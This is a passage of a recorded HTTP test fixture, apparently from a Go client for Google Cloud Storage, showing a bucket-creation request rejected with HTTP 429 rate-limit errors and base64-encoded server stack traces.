CdWNrZXQuamF2YTo0Milcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5pbnNlcnQoQnVja2V0c0RlbGVnYXRvci5qYXZhOjk1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPXVzYWdlTGltaXRzLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9dG9vTWFueVJlcXVlc3RzLCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWNsb3VkLmJpZ3N0b3JlLmFwaS5CaWdzdG9yZUVycm9yRG9tYWluLkNMSUVOVF9RVU9UQV9FWENFRURFRCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlBST0pFQ1RfQlVDS0VUX09QX1JBVEVfVE9PX0hJR0g6IENyZWF0aW5nIGJ1Y2tldHMgdG9vIHF1aWNrbHksIHBsZWFzZSBzbG93IGRvd25cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuSW5zZXJ0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRCdWNrZXQuamF2YToxODQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5JbnNlcnRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydEJ1Y2tldC5qYXZhOjQyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5CdWNrZXRzRGVsZWdhdG9yLmluc2VydChCdWNrZXRzRGVsZWdhdG9yLmphdmE6OTUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IENyZWF0aW5nIGJ1Y2tldHMgdG9vIHF1aWNrbHksIHBsZWFzZSBzbG93IGRvd25cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBlcnJvclByb3RvQ29kZT1DTElFTlRfUVVPVEFfRVhDRUVERUQsIGVycm9yUHJvdG9Eb21haW49Y2xvdWQuYmlnc3RvcmUuYXBpLkJpZ3N0b3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1lbnRpdHkucmVzb3VyY2UuYnVja2V0Lm5hbWUsIG1lc3NhZ2U9VGhlIHByb2plY3QgZXhjZWVkZWQgdGhlIHJhdGUgbGltaXQgZm9yIGNyZWF0aW5nIGFuZCBkZWxldGluZyBidWNrZXRzLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZS5idWNrZXQubmFtZSwgbWVzc2FnZT1UaGUgcHJvamVjdCBleGNlZWRlZCB0aGUgcmF0ZSBsaW1pdCBmb3IgY3JlYXRpbmcgYW5kIGRlbGV0aW5nIGJ1Y2tldHMuLCByZWFzb249cmF0ZUxpbWl0RXhjZWVkZWQsIHJwY0NvZGU9NDI5fSBUaGUgcHJvamVjdCBleGNlZWRlZCB0aGUgcmF0ZSBsaW1pdCBmb3IgY3JlYXRpbmcgYW5kIGRlbGV0aW5nIGJ1Y2tldHMuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6UFJPSkVDVF9CVUNLRVRfT1BfUkFURV9UT09fSElHSDogQ3JlYXRpbmcgYnVja2V0cyB0b28gcXVpY2tseSwgcGxlYXNlIHNsb3cgZG93blxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5JbnNlcnRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydEJ1Y2tldC5qYXZhOjE4NClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkluc2VydEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0QnVja2V0LmphdmE6NDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkJ1Y2tldHNEZWxlZ2F0b3IuaW5zZXJ0KEJ1Y2tldHNEZWxlZ2F0b3IuamF2YTo5NSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQ3JlYXRpbmcgYnVja2V0cyB0b28gcXVpY2tseSwgcGxlYXNlIHNsb3cgZG93blxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MjksIm1lc3NhZ2UiOiJUaGUgcHJvamVjdCBleGNlZWRlZCB0aGUgcmF0ZSBsaW1pdCBmb3IgY3JlYXRpbmcgYW5kIGRlbGV0aW5nIGJ1Y2tldHMuIn19" - } - }, - { - "ID": "42cf12714cf13289", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "106" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE4IiwicmV0ZW50aW9uUG9saWN5Ijp7InJldGVudGlvblBlcmlvZCI6IjkwMDAwIn19Cg==" - ] - }, - "Response": { - "StatusCode": 429, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12201" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:07 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrcjWbo0pc_i_GQTU2WE6YR0XhWYMGRPJutu1MQXo6XbRKJAYhzNK4p2-_gCqZ6BvNGncUP1UZNoTrXsFFGt1RRTRR3DS9XNiws0gt9YQdp_I8dqqM" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6InVzYWdlTGltaXRzIiwicmVhc29uIjoicmF0ZUxpbWl0RXhjZWVkZWQiLCJtZXNzYWdlIjoiVGhlIHByb2plY3QgZXhjZWVkZWQgdGhlIHJhdGUgbGltaXQgZm9yIGNyZWF0aW5nIGFuZCBkZWxldGluZyBidWNrZXRzLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpQUk9KRUNUX0JVQ0tFVF9PUF9SQVRFX1RPT19ISUdIOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkluc2VydEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0QnVja2V0LmphdmE6MTg0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuSW5zZXJ0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRCdWNrZXQuamF2YTo0Milcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5pbnNlcnQoQnVja2V0c0RlbGVnYXRvci5qYXZhOjk1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE